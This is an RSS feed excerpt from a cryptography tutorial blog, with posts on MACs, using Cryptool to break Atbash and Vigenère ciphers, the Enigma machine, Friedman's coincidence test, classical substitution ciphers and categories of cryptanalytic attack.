<p>As we've seen previously, this last block depends on all the previous blocks, as well as on the key. Therefore, this code is binded to the complete message (provides <em>message integrity</em>) as well as to the entity with whom the secret key is shared (provides data origin authentication).</p>
<p>Thus, the receiver of the message, who shares a secret key with the source, is able to check whether the message was actually generated by the expected entity and that it has not been altered.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-block-ciphers" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-block-ciphers/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Introduction to Cryptool</title>
		<link>http://www.limited-entropy.com/crypto-series-introduction-to-cryptool</link>
		<comments>http://www.limited-entropy.com/crypto-series-introduction-to-cryptool#comments</comments>
		<pubDate>Tue, 02 Jun 2009 05:45:03 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=233</guid>
		<description><![CDATA[In this post we'll see some of the options provided by Cryptool to analyze classical ciphers, as well as using it for breaking a ciphertext encrypted with Vigenère's cryptosystem. First step, as usual, consists of installing Cryptool. To that end, I chose using a virtual machine in VMWare with Windows XP. The installation is very [...]]]></description>
			<content:encoded><![CDATA[<p><p>In this post we'll see some of the options provided by <a href="http://www.cryptool.com/">Cryptool</a> to analyze classical ciphers, as well as using it for breaking a ciphertext encrypted with Vigenère's cryptosystem.</p>
<p>First step, as usual, consists of installing <a href="http://www.cryptool.com/">Cryptool</a>. To that end, I chose using a virtual machine in VMWare with Windows XP. The installation is very simple, typical Windows app installation: Next, Next,... We'll use the English version, which is the one I have installed, but it shouldn't be difficult to follow our steps with a different version.</p>
<p>Once installed, this is how the main window of <a href="http://www.cryptool.com/">Cryptool</a> looks like:</p>
<div id="attachment_258" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/06/cryptool.png"><img class="size-medium wp-image-258" title="Cryptool's main window" src="http://www.limited-entropy.com/wp-content/uploads/2009/06/cryptool-300x212.png" alt="Cryptool's main window" width="300" height="212" /></a><p class="wp-caption-text">Cryptool&#39;s main window</p></div>
<p>Looking at the menus, one can see that Cryptool offers (amongst others) the possibility to encrypt and decrypt texts, cryptanalytic tools and guided tutorials. In this text we'll see how to use Cryptool for analyzing encrypted texts... Let's start with an easy one:</p>
<blockquote><p>Gznyrém xlmlxrwz xlnl Fmrevihrwzw Klorgéxmrxz wv Ezovmxrz, l vo<br />
Klor kziz olh znrtlh, vh fm lhxfil oftzi oovml wv vhgfwrl b kvievihróm.<br />
Hlyivglwl, klijfv glwl zjféo ol hfurxrvmgvnvmgv olxl xlnl kziz vmgizi<br />
vm vooz, gvmwiá jfv szxvi zotl wv ol zmgvirlinvmgv xrgzwl kziz hzori<br />
zrilhl wv vooz. Vmgiv olh oftzivh náh xlmxfiirwlh, hv vmxfvmgizm oz<br />
Xzhz wvo Zofnml (szyrgfzonvmgv fhzwz kziz wlinri olh qfvevh wv<br />
nzwiftzwz, kvil gznyrém kziz qftzi z yroozi l ufgyloím, zfmjfv mlh<br />
jfrgzm vhgv vm éklxz wv vcánvmvh), oz Yryorlgvxz (wlmwv oz tvmgv hv<br />
wrervigv vhgfwrzmwl), b ozh krhgzh wv gvmrh b káwvo.</p>
</blockquote>
<p>The text has been obtained from <a href="http://www.upv.es/ieee">IEEE</a>'s <a href="http://www.ieee.upv.es/cripto/concurso.php">cryptography</a><a href="http://www.ieee.upv.es/cripto/concurso.php"> challenge</a>, by <a href="http://vierito.es/wordpress">Javi Moreno</a> and <a href="http://www.mapetitemort.com">Amine Tourisa</a> (sorry, Spanish). Actually, the solution was already published in <a href="http://vierito.es/wordpress">Javi</a>'s blog, but we're gonna see how to obtain it with Cryptool:</p>
<ul>
<li>Create a new document ( File | New )</li>
<li>Copy the text from the challenge</li>
<li>Go to <em>Analysis | Tools for Analysis | Histogram</em></li>
</ul>
<p>Now we get the following frequency diagram from the text:</p>
<div id="attachment_257" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/06/histogram.png"><img class="size-medium wp-image-257" title="Frequency analysis of the ciphertext" src="http://www.limited-entropy.com/wp-content/uploads/2009/06/histogram-300x116.png" alt="Frequency analysis of the ciphertext" width="300" height="116" /></a><p class="wp-caption-text">Frequency analysis of the ciphertext</p></div>
<p>Next we just compare this diagram with the typical one from Spanish or English, and we can see that it's simply been 'mirrored'... easy, isn't it? So the answer is, as you probably guessed, ATBASH. Decrypting the text with ATBASH (<em>Crypt/Decrypt | Symmetric (Classic) | Substitution/Atbash ... ) </em>, we get this cleartext (again, Spanish):</p>
<blockquote><p><code>También conocida como Universidad Politécnica de Valencia, o el Poli para los amigos, es un oscuro lugar lleno de estudio y perversión. Sobretodo, porque todo aquél lo suficientemente loco como para entrar en ella, tendrá que hacer algo de lo anteriormente citado para salir airoso de ella. Entre los lugares más concurridos, se encuentran la Casa del Alumno (habitualmente usada para dormir los jueves de madrugada, pero también para jugar a billar o futbolín, aunque nos quitan este en época de exámenes), la Biblioteca (donde la gente se divierte estudiando), y las pistas de tenis y pádel.</code></p>
</blockquote>
<p>Now we'll see how to solve a Vigenère encrypted text. Let's take as our working example the following text:</p>
<p><span id="more-233"></span></p>
<blockquote><p>Yyi plqqsjiw icd rfwx vcrynevh ozi fxlhf bwrgxlqmq nsvng mwv hivwssvh<br />
xr hmpv eadm ktlv jusqifq xr gtfii eqr omrrkh htj nsvng.  Nd tsrwfmxk,<br />
xlh UZZ Xirhfmq Gyfowo Qzgiqgq nj mrwszivh xr ugfierwsq dfyv ifqjusq wc<br />
emrvi dbp hyerjs mqc ziugutew si o bwfkvda--ft deoh ggwv mx usyfzrw ifqj<br />
jsjwkmwv jsu oxq zxw xgqwj.  Ai, wvq Kiii Vcrynevh Tazehewwas, lwi wvq<br />
LEY Khbqwrp Txpxnt Pmfszxv jsu aaxk sj rid xfjxzodj; zx esdxnvw eoga yf<br />
erb cfmvv arfw wvpidgqi klmv kmd sc mwg mzklsug.  Ktl geq obucc mw ha<br />
dfyv sfalieqv, hat.</p>
<p>Nliq kq xgien cr kiii vcrynevh, kq fii vhtqwimrj ha kiiigcy, sfx<br />
tuwoj.  Fyv Jszjiep Sinqzg Plqqsjiw dfq ivwmjbqi ks qdyq xlvi wvmy psy<br />
kohj kli ifqjusq wc pnjxvlpgyv gsswqx fj jusq xfjxzodj (rrh fvmwxi jrf<br />
fmvq mi maz nmwk), htfk csx fqhvmzh gazigi fcpj fv gdb sjk mx lt ktl<br />
aeqh uy, klew maz ter fvmsxi xks etwxadfq ti ywh dujtiw rt uy zr rhk<br />
rwvi tucswrqw, dbp yyex bcg pesa bcg hrr hr htjji xkwzlj.</p>
<p>Xs sfayvgx bcgw imkkhe, bv rihr ft gviyszy fxlhfe kisq gszdzrk bcg<br />
yyiwh fulyxw rf mxbmrj maz ks wxfdjehiu htj imkkhe.  Yyivhtawv, csx vmav<br />
giuhmne vivdasjmflzuyziw lt ktl hmvhdnsyxh qauziw rt fmv wsihifii, su wr<br />
dfy qrrukp mx: useufrwlpuqzxmhg ft iiwssoy kli ifqjusq rt ayyivv.</p>
</blockquote>
<p>Again, we create a new document in Cryptool and paste the text in. Now we go to <em>Analyze | Symmetric Encryption (Classic) | Ciphertext-Ony | Vigenere.</em></p>
<p>After doing so, Cryptool will suggest a key length, and when we accept, it will tell us the key and allow us to decrypt the complete text, this time in English. We can also choose to see every step, with the <em>Show base ciphers analysis</em> option in <em>Options | Analysis Options</em>.</p>
<p>Further, Cryptool's output offers a plot with the text's autocorrelation, with periodic peaks in multiples of the key length <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  This is the tool used by Cryptool to analyze Vigenère's cryptograms, and we can also find it directly available in <em>Analyze | Manual | Autocorrelation</em>. This tool can be used to analyze texts and decide whether it could be a Vigenère (or similar) cipher or not.</p>
<p>That's it for today, I recommend you to keep on playing with Cryptool and to take a look at its <a href="http://www.cryptool.com/index.php/es/presentations-documentationmenu-50.html">official documentation</a>.</p></p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-introduction-to-cryptool" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-introduction-to-cryptool/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Crypto Series: WWII &#8211; Enigma</title>
		<link>http://www.limited-entropy.com/crypto-series-wwii-enigma</link>
		<comments>http://www.limited-entropy.com/crypto-series-wwii-enigma#comments</comments>
		<pubDate>Wed, 15 Apr 2009 06:00:54 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=221</guid>
		<description><![CDATA[With this post we're leaving classical pencil and paper ciphers and getting into the mechanic ciphers used during the World War II era. We're gonna see the most famous of the cipher machins, the Enigma machine used by the Germans. Our analysis will be based on the book Applied Cryptanalysis from Mark Stamp and Richard [...]]]></description>
			<content:encoded><![CDATA[<p>With this post we're leaving classical <em>pencil and paper </em>ciphers and getting into the mechanic ciphers used during the World War II era. We're gonna see the most famous of the cipher machins, the Enigma machine used by the Germans. Our analysis will be based on the book <a href="http://www.amazon.com/Applied-Cryptanalysis-Breaking-Ciphers-World/dp/047011486X">Applied Cryptanalysis</a> from <a href="http://cs.sjsu.edu/faculty/stamp/">Mark Stamp</a> and Richard M. Low. A very recommendable book if you are interested on cryptanalysis, really.</p>
<h1><strong>The Enigma Machine</p>
<p></strong></h1>
<p><strong></p>
<p></strong></p>
<p>The Enigma machine was developoed and patented by <a href="http://en.wikipedia.org/wiki/Arthur_Scherbius">Arthur Scherbius</a> in 1918, and was adopted by the nazi Germany for military and diplomacy use. Polish cryptanalysts broke the Enigma cipher in the late 1930s, and Allieds exploited this knowledge during WWII.</p>
<div class="wp-caption aligncenter" style="width: 460px"><img title="Máquina Enigma" src="http://upload.wikimedia.org/wikipedia/commons/a/ae/Enigma.jpg" alt="Máquina Enigma" width="450" height="600" /><p class="wp-caption-text">Máquina Enigma</p></div>
<p>It is said that thanks to Enigma being broken without the Germans noticing it (thanks to the more or less careful use of the obtained intelligence) the WWII was shortend one year or even more. There has been a lot of writing around Enigma, and I'm not an expert in the field, so I refer you to Google if you want more historical information <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Encrypting and decrypting with Enigma</strong></p>
<p>To encrypt with Enigma, after initializing the machine with the key as we'll see later, one simply had to press the plaintext letter to encrypt in the keyboard, and then the corresponding ciphertext letter would be enlightened in the upper (back-lighted) keyboard.</p>
<p>To decrypt, one had to set the machine into the corresponding state and press the received ciphertext letter. Then, in the upper keyboard the plaintext letter would get enlightened.</p>
<p><strong>Enigma's features</p>
<p></strong></p>
<p>Enigma was an electro-mechanical machine, based on the use of <em>rotors</em>. In the previous figure, one can easily see the mechanical keyboard and the back-lighted keyboard, which worked as input and output of the device.</p>
<p>Further, there is what seems to be a switchboard (<em>stekker </em>in German) with cables connecting one of the ends with another, and three <em>rotors</em> in the upper side of the machine. The configuration of these rotors and the cables of the <em>stekker</em> are the initial key of the machine.</p>
<p>Once the machine was initialized, it was possible to press in the keyboard the plaintext or ciphertext letters and obtain the ciphertext or the plaintext respectively. The workings of the machine were essantially as follows:</p>
<p>After pressing a key in the keyboard, a signal was sent through the corresponding <em>stekker</em> pin. Thanks to the cable configuration, this signal was transmitted to a different letter. Thus, the <em>stekker</em> worked as a <em>mapping </em>in the alphabet, where each letter was substituted by another one: a simple substitution.</p>
<div class="wp-caption aligncenter" style="width: 537px"><img title="Rotores Máquina Enigma" src="http://upload.wikimedia.org/wikipedia/commons/thumb/6/6c/Enigma-action.svg/527px-Enigma-action.svg.png" alt="Rotores de la máquina Enigma" width="527" height="599" /><p class="wp-caption-text">Rotores de la máquina Enigma</p></div>
<p>After it, the signal went through the three rotors, reflected in the <em>reflector</em> and went back through the <em>rotors</em> (see figure). Finally, from the rotors it went again through the stekker, which performed a new substitution, and turned on the backlight of the corresponding letter. The net effect of the rotors and the reflector was again a permutation: each letter was converted into a different one.</p>
<p>However, if this were it, we would have no more than a simple substitution, with the only complexity of the use of an electromechanical machine. What Enigma added was a variation of the disposition of these rotors.</p>
<p>Each time a key was pressed, the rightmost rotor stepped one position. The middle rotor stepped in an odometer-like fashion, each time the rightmost rotor went through all of its steps. The leftmost rotor stepped in the same way, but depending on the middle rotor.</p>
<p>Further, it was possible to select the point where each rotor would step. This means that it could be when the previous rotor reached the initial position, but it could be in a different position. We could set it, for instance, to step when the previous rotor had stepped 5 times. From there on, it would step every time the initial rotor was in that position.</p>
<p>Therefore, Enigma was a cipher where each letter was encrypted with a different simple permutation of the alphabet... but with an enormous number of possible permutations.</p>
<p>For a more detailed analysis of the Enigma machine, please refer to the aforementioned book, where the way the machin works is analysed, the key space size (i.e. number of possible keys) is computed and an attack is presented.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-wwii-enigma" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-wwii-enigma/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Vigenère&#8217;s Cipher (2)</title>
		<link>http://www.limited-entropy.com/crypto-series-vigeneres-cipher-2</link>
		<comments>http://www.limited-entropy.com/crypto-series-vigeneres-cipher-2#comments</comments>
		<pubDate>Sat, 11 Apr 2009 08:40:24 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=187</guid>
		<description><![CDATA[As I promished, we're gonna see a different method to obtain the key length used to encrypt a text using Vigenère's algorithm. This is a method somewhat more difficult to understand than Kasiski's method, since it requires some mathematical analysis to obtain the recipe. Friedman's test or the incidence of coincidences This method, discovered by [...]]]></description>
			<content:encoded><![CDATA[<p>As I promished, we're gonna see a different method to obtain the key length used to encrypt a text using <a href="http://www.limited-entropy.com/crypto-series-vigenere">Vigenère's algorithm</a>. This is a method somewhat more difficult to understand than Kasiski's method, since it requires some mathematical analysis to obtain the <em>recipe</em>.</p>
<p><strong>Friedman's test or the incidence of coincidences</strong></p>
<p>This method, discovered by <a href="http://en.wikipedia.org/wiki/William_F._Friedman">William F. Friedman</a> in the 1920s, is based on computing the index of coincidences of the cryptogram's letters. The idea is that for two random letters from the cryptogram to be the same, there is a possibility that they were also the same in the original plaintext if the number of letters they have in between is a multiple of the key length.</p>
<p>Basically, we'll take the X first letters of the cryptogram and the X last letters, and count the number of coinciding letters in the same position. Finally, we'll divide this number by the number of letters taken and then we will have the index of coincidence.</p>
<p>Considering a source providing independent characters with the frequency distribution of English, and uniformly distributed characters for the key (i.e. all letters with the same frequency, 1/26 for the English alphabet), we have that:</p>
<ul>
<li>The probability that any two letters are the same is approximately 0.0385 when X is not a multiple of the key length</li>
<li>The probability that any two letters are the same is approximately 0.0688 when X is a multiple of the key length.</li>
</ul>
<p>So, with this process wi can determine that <em>high</em> values for the index of coincidence will mean that the shifted distance X is a multiple of the key length, and this way we will determine the most likely key length.</p>
<p>Let's see how we get these probabilities, so that we are able to obtain them in case of having a language different than English. We simply have to consider that for any two ciphertext characters <img src='http://s.wordpress.com/latex.php?latex=c_i&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_i' title='c_i' class='latex' /> and <img src='http://s.wordpress.com/latex.php?latex=c_j&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_j' title='c_j' class='latex' /> to coincide, the following relation must hold:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=c_i%20%3D%20%28%20m_i%20%2B%20k_%7Bi%20mod%20L%7D%20%29%20%3D%20%28%20m_j%20%2B%20k_%7Bj%20mod%20L%7D%20%29%20%3D%20c_j%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_i = ( m_i + k_{i mod L} ) = ( m_j + k_{j mod L} ) = c_j ' title='c_i = ( m_i + k_{i mod L} ) = ( m_j + k_{j mod L} ) = c_j ' class='latex' /></p>
<p style="text-align: left;">Then, we consider two different cases: if L divides i-j, then <img src='http://s.wordpress.com/latex.php?latex=m_i%20%3D%20m_j%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m_i = m_j ' title='m_i = m_j ' class='latex' /> , since in that case we have that<img src='http://s.wordpress.com/latex.php?latex=k_%7Bi%20mod%20L%7D%20%3D%20k_%7Bj%20mod%20L%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='k_{i mod L} = k_{j mod L} ' title='k_{i mod L} = k_{j mod L} ' class='latex' />  . So, the probability for this case is:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=Pr%5Bc_i%3Dc_j%5D%20%3D%20%3DPr%5Bm_i%3Dm_j%5D%3D%20sum_m%20Pr%5Bm_i%3Dm_j%3Dm%5D%3Dsum_m%20p%28m%29%5E2%20approx%200.0688&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Pr[c_i=c_j] = =Pr[m_i=m_j]= sum_m Pr[m_i=m_j=m]=sum_m p(m)^2 approx 0.0688' title='Pr[c_i=c_j] = =Pr[m_i=m_j]= sum_m Pr[m_i=m_j=m]=sum_m p(m)^2 approx 0.0688' class='latex' /></p>
<p style="text-align: left;">However, when i-j is not a multiple of L, then for the two ciphertext characters to be equal the following equation needs to hold</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=Pr%5Bc_i%3Dc_j%5D%20%3D%20Pr%5B%20k_%7Bj%20mod%20L%7D%20%3D%20m_i%20%2B%20k_%7Bi%20mod%20L%7D%20-%20m_j%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Pr[c_i=c_j] = Pr[ k_{j mod L} = m_i + k_{i mod L} - m_j ' title='Pr[c_i=c_j] = Pr[ k_{j mod L} = m_i + k_{i mod L} - m_j ' class='latex' /></p>
<p style="text-align: left;">But as we said before, the distribution of key characters <img src='http://s.wordpress.com/latex.php?latex=k_j%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='k_j ' title='k_j ' class='latex' /> is uniform, and therefore this probability is:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=Pr%5Bc_i%3Dc_j%5D%20%3D%20frac%7B1%7D%7B26%7D%20approx%200.0385%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Pr[c_i=c_j] = frac{1}{26} approx 0.0385 ' title='Pr[c_i=c_j] = frac{1}{26} approx 0.0385 ' class='latex' /></p>
<p style="text-align: left;">That's it for today. This time there is no example, but stay tuned cause we'll see an exercise soon <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: left;">And I hope next week I'm able to post some practical exercise using Cryptool to analyze a Vigenère cipher or something alike.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-vigeneres-cipher-2" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-vigeneres-cipher-2/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Classical ciphers</title>
		<link>http://www.limited-entropy.com/crypto-series-classical-ciphers</link>
		<comments>http://www.limited-entropy.com/crypto-series-classical-ciphers#comments</comments>
		<pubDate>Mon, 09 Mar 2009 18:49:22 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=144</guid>
		<description><![CDATA[During some posts we're gonna get introduced into classical ciphers. From Wikipedia, "a classical cipher is a type of cipher used historically but which now have fallen, for the most part, into disuse". This post will study one of the most known classical ciphers, the Caesar cipher, and other similar ciphers. Caesar Cipher Caesar's cipher, [...]]]></description>
			<content:encoded><![CDATA[<p>During some posts we're gonna get introduced into classical ciphers. From <a href="http://en.wikipedia.org/wiki/Classical_cipher">Wikipedia</a>, <em>"a <strong>classical cipher</strong> is a type of <a title="Cipher" href="http://en.wikipedia.org/wiki/Cipher">cipher</a></em> used historically but which now have fallen, for the most part, into disuse".</p>
<p>This post will study one of the most known classical ciphers, the Caesar cipher, and other similar ciphers.</p>
<h3>Caesar Cipher</h3>
<p>Caesar's cipher, named after Julius Caesar, is a substitution cipher that simply substitutes each letter by the letter K positions to the right in the alphabet. So, for a K value of 3, A would be encrypted as D, B as E, C as F and so on.</p>
<p>In mathematical terms, considering an alphabet with 26 letters, where A would be letter 0 and Z letter 25, we can define these encryption and decryption operations as:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=E_k%28m%29%20%3D%20%28m%20%2B%20k%29%20mod%7B26%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='E_k(m) = (m + k) mod{26} ' title='E_k(m) = (m + k) mod{26} ' class='latex' /></p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=D_k%28c%29%20%3D%20%28m%20-%20k%29%20mod%7B26%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='D_k(c) = (m - k) mod{26}' title='D_k(c) = (m - k) mod{26}' class='latex' /></p>
<p>Where <img src='http://s.wordpress.com/latex.php?latex=mod%7B26%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='mod{26}' title='mod{26}' class='latex' /> means reducing the result modulo 26, or in simpler terms, if the result is above or below the 0-25 range, we would add/subtract 26 as many times as needed to make it fall into this range.</p>
<p>As you can see, very simple. For instance, if we encrypt the sentence <em>CRIPTOGRAFIA PARA TODOS </em>under key <em>5</em>, we get the following ciphertext: <em>HWNUYTLWFKNF UFWF YTITX</em>.</p>
<p>Here we can already see one of the weaknesses of this cipher: the structure of the plaintext remains. As you can see, last word in the message starts with a Y, then it has two T's, one I and one X. Therefore, we know that this word has the second and fourth letter identical. Also second and fourth letters are identical in the second word, but different to the ones in the last word.</p>
<p>This, in a large text and within a context, could lead us to decipher great part of the text. For instance, knowing that it's a text about information security, we can try to find words with the same structure as security or information and map these letters for all the text. With this, we would have parts of other words, and with some luck we would be able to obtain more letters by guessing those words. Continuing like this, at the end we would have the complete text.</p>
<p>Another tool that allows us to easily analyse this kind of ciphers is frequency analysis, which we mentioned previously. If we take a text encrypted using this system and count the number of appearances of each letter, and then obtain (or generate) a table of relative frequencies for the target language, we can match the most frequent letter in the ciphertext and the most frequent letter in the target language.</p>
<p>Then, since the same shift is applied to all the letters, we would have the key and would be able to obtain the complete message. In case of getting a non-sense message, we could try with the second most frequent letter instead of the first one. Since it's a statistical analysis, it's possible that the character distribution in our text doesn't completely match the original distribution, but will certainly be similar.</p>
<h3>Simple substitution ciphers</h3>
<p>Caesar's cipher we just analysed is one of the so-called <em>simple substitution ciphers</em>, which always substitute each symbol of the input alphabet by a given symbol of the output alphabet.Besides Caesar's cipher, Atbash cipher is another quite famous substitution cipher, where each the alphabet is <em>inverted</em>: A-&gt;Z, B-&gt;Y, ... Y-&gt;B, Z-&gt;A.</p>
<p>But not only these two simple substitution ciphers exist. We can create any modification of the input alphabet as output alphabet. Even then, all these ciphers suffer from the same problem: the structure is maintained and they are quite easy to break using frequency analysis and word matching.</p>
<h3>Example: Breaking a simple substitution cipher</h3>
<p>This time I encrypted an English text. This is how the ciphertext looks like:</p>
<blockquote><p>ZL VAGRERFGF NOBHG FRPHEVGL ERYNGRQ GBCVPF UNIR QEVSGRQ N YVGGYR OVG, ZBIVAT SEBZ CHER FBSGJNER NAQ ARGJBEXVAT FRPHEVGL GB PELCGBTENCUL NAQ CENPGVPNY NGGNPXF BA PELCGBTENCUVP VZCYRZRAGNGVBAF, YVXR FVQR PUNAARY NANYLFVF NGGNPXF.</p>
<p>VA GUVF EROBEA OYBT V JVYY GEL GB VAGEBQHPR GUR ERNQREF VAGB GURFR GBCVPF JVGUBHG TRGGVAT VAGB GBB PBZCYRK ZNGUF. GUR NVZ VF GB CEBIVQR NA HAQREFGNAQVAT BS PELCGBTENCUL JVGUBHG UNIVAT ERNQREF YBFG BA ZNGURZNGVPNY PBAPRCGF. LBH JVYY GRYY JURGURE V NPUVRIR GUVF TBNY BE ABG.</p></blockquote>
<p>Looks pretty complicated, doesn't it? Let's see how to approach this example, assuming this is a simple substitution cipher. First of all, we're gonna count how many times appears each letter, and then divide it by the total number of letters. I've done it with <a href="http://www.limited-entropy.com/wp-content/uploads/2009/03/freq.c">this</a> simple program I quickly coded, although it's possible to do it with Cryptool but I don't have it available right now.</p>
<p>Once it's done, we sort it by frequency. For instance, copy-pasting the output of the program into a spreadsheet in Google Docs and pressing order by the corresponding column. The top 3 letters are:</p>
<p>G     52    0.124402</p>
<p>R     38    0.090909</p>
<p>V     37    0.088517</p>
<p>So, we go to a frequency table for English (<a href="http://upload.wikimedia.org/wikipedia/en/c/c2/English-slf2.PNG">here</a>) and see that E is the most frequent letter in this language. Now we subtract 'G'-'E'=7. If we apply this key using a Caesar's cipher, we just get garbage. However, if we take 'R' as 'E, then 'R'-'E'=13. Deciphering using Caesar's cipher, we get:</p>
<blockquote><p>MY INTERESTS ABOUT SECURITY RELATED TOPICS HAVE DRIFTED A LITTLE BIT, MOVING FROM PURE SOFTWARE AND NETWORKING SECURITY TO CRYPTOGRAPHY AND PRACTICAL ATTACKS ON CRYPTOGRAPHIC IMPLEMENTATIONS, LIKE SIDE CHANNEL ANALYSIS ATTACKS.</p>
<p>IN THIS REBORN BLOG I WILL TRY TO INTRODUCE THE READERS INTO THESE TOPICS WITHOUT GETTING INTO TOO COMPLEX MATHS. THE AIM IS TO PROVIDE AN UNDERSTANDING OF CRYPTOGRAPHY WITHOUT HAVING READERS LOST ON MATHEMATICAL CONCEPTS. YOU WILL TELL WHETHER I ACHIEVE THIS GOAL OR NOT.</p></blockquote>
<p>Much more readable <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Don't you recognize it? Look at <a href="http://www.limited-entropy.com/en/about">http://www.limited-entropy.com/en/about</a> <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>We've decrypted the text, although not at our first try, but at our second. Another option would have been using 'G' as 'T', since T is the second most frequent letter in English. The result is exactly the same.</p>
<p>However, facing an unknown transformation, we would have been to play with other hints besides frequency analysis. For instance, we could use the fact that we expected to see CRYPTOGRAPHY in the text, and assign this word to the only word in the ciphertext that has the same letter in the third and the last position. Then, we would substitute all its letters in the ciphertext and would see if it makes any sense.</p>
<p>From there, we just need to continue on guessing letters... kind of a puzzle <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>That's it for today, I hope you're liking it <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Questions and comments are more than welcome!</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-classical-ciphers" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-classical-ciphers/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Classification of Attacks</title>
		<link>http://www.limited-entropy.com/crypto-series-classification-of-attacks</link>
		<comments>http://www.limited-entropy.com/crypto-series-classification-of-attacks#comments</comments>
		<pubDate>Tue, 03 Mar 2009 07:00:05 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=151</guid>
		<description><![CDATA[As a quick note on the cryptographic systems description on the previous post, I'd like to mention that atacks to cryptosystems are usually classified based on the information known to the cryptanalyst. The basic types of attacks are:ásicos son: Ciphertext-only: The cryptanalyst knows only the ciphertext, and often also some information about the context of [...]]]></description>
			<content:encoded><![CDATA[<p>As a quick note on the cryptographic systems description on the <a href="http://www.limited-entropy.com/crypto-series-basic-concepts">previous post</a>, I'd like to mention that atacks to cryptosystems are usually classified based on the information known to the cryptanalyst. The basic types of attacks are:ásicos son:</p>
<ul>
<li><strong>Ciphertext-only:</strong> The cryptanalyst knows only the ciphertext, and often also some information about the context of the message.</li>
<li><strong>Known-Plaintext: </strong>The cryptanalyst knows pairs of plaintexts and corresponding ciphertexts.</li>
<li><strong>Chosen-Plaintext:</strong> The cryptanalyst is able to choose plain texts and obtain their corresponding ciphertexts.</li>
<li><strong>Chosen-Ciphertext:</strong> The cryptanalyst can choose any ciphertext and obtain its corresponding plaintext.</li>
</ul>
